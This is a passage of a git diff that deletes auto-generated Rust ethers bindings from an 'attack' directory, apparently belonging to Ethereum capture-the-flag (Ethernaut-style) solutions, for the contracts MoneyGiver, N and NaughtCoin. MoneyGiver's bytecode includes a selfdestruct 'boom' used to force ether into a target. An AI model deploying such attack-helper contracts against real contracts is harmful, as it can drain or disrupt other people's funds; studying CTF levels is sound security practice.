\x01a\0\x92V[a\0\xA3a\0\xECV[`\x02Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[4`\x01`\0\x82\x82Ta\0\xFE\x91\x90a\x01\x05V[\x90\x91UPPV[\x80\x82\x01\x80\x82\x11\x15a\x01?W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV\xFE\xA2dipfsX\"\x12 U\xC4B\x0B\xFD\x87x\x1D\xC0\x17%\xDE2\xE5\xFF\x14\xDF\r\xFAS'\xFDX\xEBqJ\xA3\xE6\xE9\xAE\xB7\xD1dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static MONEYGIVER_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0?W`\x005`\xE0\x1C\x80c\x8D\xA5\xCB[\x14a\0DW\x80c\xA1i\xCE\t\x14a\0\x9BW\x80c\xB6\x9E\xF8\xA8\x14a\0\xA5W\x80c\xD0\xE3\r\xB0\x14a\0\xC9W[`\0\x80\xFD[4\x80\x15a\0PW`\0\x80\xFD[P`\0Ta\0q\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0\xA3a\0\xD1V[\0[4\x80\x15a\0\xB1W`\0\x80\xFD[Pa\0\xBB`\x01T\x81V[`@Q\x90\x81R` \x01a\0\x92V[a\0\xA3a\0\xECV[`\x02Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[4`\x01`\0\x82\x82Ta\0\xFE\x91\x90a\x01\x05V[\x90\x91UPPV[\x80\x82\x01\x80\x82\x11\x15a\x01?W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV\xFE\xA2dipfsX\"\x12 U\xC4B\x0B\xFD\x87x\x1D\xC0\x17%\xDE2\xE5\xFF\x14\xDF\r\xFAS'\xFDX\xEBqJ\xA3\xE6\xE9\xAE\xB7\xD1dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static MONEYGIVER_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct MoneyGiver(::ethers::contract::Contract); - impl ::core::clone::Clone for MoneyGiver { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for MoneyGiver { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for MoneyGiver { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for MoneyGiver { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(MoneyGiver)) - .field(&self.address()) - .finish() - } - } - impl MoneyGiver { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - MONEYGIVER_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - MONEYGIVER_ABI.clone(), - MONEYGIVER_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `balance` (0xb69ef8a8) - /// function - pub fn balance( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([182, 158, 248, 168], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `boom` (0xa169ce09) - /// function - pub fn boom( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([161, 105, 206, 9], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `deposit` (0xd0e30db0) - /// function - pub fn deposit( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([208, 227, 13, 176], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for MoneyGiver - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "balance", abi = "balance()")] - pub struct BalanceCall; - ///Container type for all input parameters for the - /// `boom` function with signature `boom()` and selector - /// `0xa169ce09` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "boom", abi = "boom()")] - pub struct BoomCall; - ///Container type for all input parameters for the - /// `deposit` function with signature `deposit()` and - /// selector `0xd0e30db0` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "deposit", abi = "deposit()")] - pub struct DepositCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum MoneyGiverCalls { - Balance(BalanceCall), - Boom(BoomCall), - Deposit(DepositCall), - Owner(OwnerCall), - } - impl ::ethers::core::abi::AbiDecode for MoneyGiverCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Balance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Boom(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Deposit(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for MoneyGiverCalls { - fn encode(self) -> Vec { - match self { - Self::Balance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Boom(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Deposit(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for MoneyGiverCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Balance(element) => ::core::fmt::Display::fmt(element, f), - Self::Boom(element) => ::core::fmt::Display::fmt(element, f), - Self::Deposit(element) => ::core::fmt::Display::fmt(element, f), - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - } - } - } - impl ::core::convert::From for MoneyGiverCalls { - fn from(value: BalanceCall) -> Self { Self::Balance(value) } - } - impl ::core::convert::From for MoneyGiverCalls { - fn from(value: BoomCall) -> Self { Self::Boom(value) } - } - impl ::core::convert::From for MoneyGiverCalls { - fn from(value: DepositCall) -> Self { Self::Deposit(value) } - } - impl ::core::convert::From for MoneyGiverCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - ///Container type for all return fields from the - /// `balance` function with signature `balance()` and - /// selector `0xb69ef8a8` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct BalanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/n.rs b/attack/src/abi/n.rs deleted file mode 100644 index 879d7d7..0000000 --- a/attack/src/abi/n.rs +++ /dev/null @@ -1,129 +0,0 @@ -pub use n::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod n { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some( - ::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![], - }, - ), - functions: ::std::collections::BTreeMap::new(), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static N_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15`\x0FW`\0\x80\xFD[Pi`*`\0R` `\0\xF3`\0R`\n`\0\xF3\xFE"; - /// The bytecode of the contract. - pub static N_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\0\x80\xFD\xFE\xA2dipfsX\"\x12 \xF7K\xEF$\xD5\xC9\x99\x91\xB8.\n\xAB]\xC7\xD6\x14\x1Ce\xBF\xE2\xB3\xFA~\xF1w#(\xC6\x87\xB3\x10]dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static N_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct N(::ethers::contract::Contract); - impl ::core::clone::Clone for N { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for N { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for N { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for N { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(N)).field(&self.address()).finish() - } - } - impl N { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - N_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - N_ABI.clone(), - N_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - } - impl - From<::ethers::contract::Contract> for N - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } -} diff --git a/attack/src/abi/naught_coin.rs b/attack/src/abi/naught_coin.rs deleted file mode 100644 index f426573..0000000 --- a/attack/src/abi/naught_coin.rs +++ /dev/null @@ -1,1560 +0,0 @@ -pub use naught_coin::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod naught_coin { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::Some(::ethers::core::abi::ethabi::Constructor { - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_player"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - }), - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("INITIAL_SUPPLY"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("INITIAL_SUPPLY"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("allowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("allowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("approve"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("approve"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("balanceOf"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("balanceOf"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("account"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("decimals"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("decimals"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint(8usize), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint8"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("decreaseAllowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("decreaseAllowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("subtractedValue"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("increaseAllowance"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("increaseAllowance"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("addedValue"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("name"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("name"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("player"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("player"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("symbol"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("symbol"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("timeLock"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("timeLock"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("totalSupply"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("totalSupply"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("transferFrom"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("transferFrom"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("amount"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("Approval"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Approval"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("owner"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("spender"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("Transfer"), - ::std::vec![ - ::ethers::core::abi::ethabi::Event { - name: ::std::borrow::ToOwned::to_owned("Transfer"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("from"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("to"), - kind: ::ethers::core::abi::ethabi::ParamType::Address, - indexed: true, - }, - ::ethers::core::abi::ethabi::EventParam { - name: ::std::borrow::ToOwned::to_owned("value"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - indexed: false, - }, - ], - anonymous: false, - }, - ], - ), - ]), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static NAUGHTCOIN_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@Rb\0\0\x14Bc\x12\xCC\x03\0b\0\x02\x19V[`\x05U4\x80\x15b\0\0$W`\0\x80\xFD[P`@Qb\0\x11\x108\x03\x80b\0\x11\x10\x839\x81\x01`@\x81\x90Rb\0\0G\x91b\0\x025V[`@Q\x80`@\x01`@R\x80`\n\x81R` \x01i'0\xBA\xB3\xB4:!\xB7\xB4\xB7`\xB1\x1B\x81RP`@Q\x80`@\x01`@R\x80`\x03\x81R` 